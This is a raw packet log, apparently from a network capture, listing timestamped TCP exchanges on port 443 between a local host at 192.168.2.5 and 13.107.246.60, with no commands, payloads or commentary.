Oct 7, 2024 17:22:23.034027100 CEST	49750	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.034044027 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.034063101 CEST	443	49750	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.035072088 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.035092115 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.035165071 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.035283089 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.035306931 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.035733938 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.035757065 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.035825014 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.035923004 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.035948038 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.979207993 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.980004072 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.980029106 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.980536938 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.980550051 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.981066942 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.981458902 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.981523037 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.981836081 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.981858969 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.983064890 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.983469009 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.983511925 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.983910084 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.983915091 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.988198996 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.988296986 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.988630056 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.988708019 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.988771915 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.988780975 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.988997936 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.989017963 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:23.989191055 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:23.989195108 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.078533888 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.078605890 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.078685045 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.078857899 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.078859091 CEST	49753	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.078908920 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.078938961 CEST	443	49753	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.080548048 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.080606937 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.080665112 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.080760956 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.080790997 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.080805063 CEST	49755	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.080812931 CEST	443	49755	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.081809998 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.081865072 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.081912041 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.081948042 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.081960917 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.082010031 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.082118988 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.082137108 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.082231998 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.082251072 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.082266092 CEST	49751	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.082271099 CEST	443	49751	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.082819939 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.082849979 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.082911015 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.083033085 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.083043098 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.083889008 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.083897114 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.083962917 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.084074020 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.084079027 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.087634087 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.087681055 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.087729931 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.087807894 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.087807894 CEST	49752	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.087819099 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.087826967 CEST	443	49752	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.089540958 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.089556932 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.089623928 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.089745045 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.089761972 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.101005077 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.101140976 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.101197958 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.101242065 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.101243019 CEST	49754	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.101263046 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.101277113 CEST	443	49754	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.102778912 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.102811098 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.102886915 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.102996111 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.103013039 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.689907074 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.690397978 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.690411091 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.690859079 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.690864086 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.693075895 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.694504023 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.694536924 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.694875002 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.694881916 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.704601049 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.706490040 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.706501007 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.706837893 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.706841946 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.720727921 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.722487926 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.722498894 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.722862005 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.722866058 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.750889063 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.754489899 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.754506111 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.754844904 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.754852057 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.789654970 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.789735079 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.789850950 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.790059090 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.790071964 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.790083885 CEST	49758	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.790088892 CEST	443	49758	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.791596889 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.791655064 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.791722059 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.791845083 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.791872025 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.791888952 CEST	49756	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.791898012 CEST	443	49756	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.793019056 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.793041945 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.793143034 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.793267965 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.793281078 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.793796062 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.793803930 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.793864012 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.793991089 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.793997049 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.803880930 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.803949118 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.804048061 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.804069042 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.804078102 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.804090977 CEST	49757	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.804095984 CEST	443	49757	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.806008101 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.806046009 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.806106091 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.806216002 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.806231976 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.836680889 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.836852074 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.836920977 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.837039948 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.837049961 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.837059975 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.837064028 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.838852882 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.838887930 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.838953018 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.839055061 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.839066982 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.852847099 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.852900982 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.853017092 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.853041887 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.853049040 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.853060007 CEST	49759	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.853074074 CEST	443	49759	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.855149984 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.855221987 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:24.855295897 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.855420113 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:24.855437994 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.334455967 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.338912010 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.338951111 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.339346886 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.339354038 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.413351059 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.414210081 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.414541006 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.414556980 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.414947987 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.414952993 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.415224075 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.415227890 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.415616035 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.415620089 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.435230017 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.435421944 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.435492992 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.435673952 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.435710907 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.435734987 CEST	49763	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.435748100 CEST	443	49763	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.438921928 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.438999891 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.439074993 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.439183950 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.439202070 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.451653004 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.454446077 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.454472065 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.454838991 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.454843998 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.479181051 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.479626894 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.479657888 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.480032921 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.480046034 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.513151884 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.513211966 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.513273001 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.514230013 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.514241934 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.514252901 CEST	49762	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.514259100 CEST	443	49762	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.517026901 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.517072916 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.517182112 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.517456055 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.517467976 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.518655062 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.518712997 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.518801928 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.518991947 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.518991947 CEST	49761	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.519001007 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.519010067 CEST	443	49761	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.520963907 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.520998001 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.521055937 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.521167994 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.521183014 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.576196909 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.576277018 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.576329947 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.580044031 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.580080986 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.580108881 CEST	49765	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.580122948 CEST	443	49765	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.584624052 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.584722042 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.584800959 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.585057974 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.585093021 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.624135971 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.624211073 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.624265909 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.624352932 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.624371052 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.624382973 CEST	49764	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.624389887 CEST	443	49764	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.626429081 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.626450062 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:25.626532078 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.626645088 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:25.626655102 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.052211046 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.052980900 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.053020954 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.053458929 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.053467035 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.158909082 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.159077883 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.159146070 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.159195900 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.159226894 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.159250021 CEST	49766	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.159257889 CEST	443	49766	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.161505938 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.161544085 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.161608934 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.161732912 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.161741018 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.164716959 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.165057898 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.165142059 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.165467024 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.165481091 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.169091940 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.169334888 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.169344902 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.169622898 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.169629097 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.220231056 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.220590115 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.220613956 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.220901966 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.220907927 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.267841101 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.267901897 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.267965078 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.268136024 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.268136024 CEST	49767	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.268183947 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.268212080 CEST	443	49767	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.270920038 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.270955086 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.271037102 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.271198034 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.271209955 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.271776915 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.271842957 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.271889925 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.271969080 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.271985054 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.271996975 CEST	49768	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.272001982 CEST	443	49768	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.273880959 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.273915052 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.274132013 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.274132013 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.274166107 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.313519001 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.313855886 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.313867092 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.314435959 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.314440966 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.318078041 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.318136930 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.318197966 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.318248987 CEST	49769	443	192.168.2.5	13.107.246.60
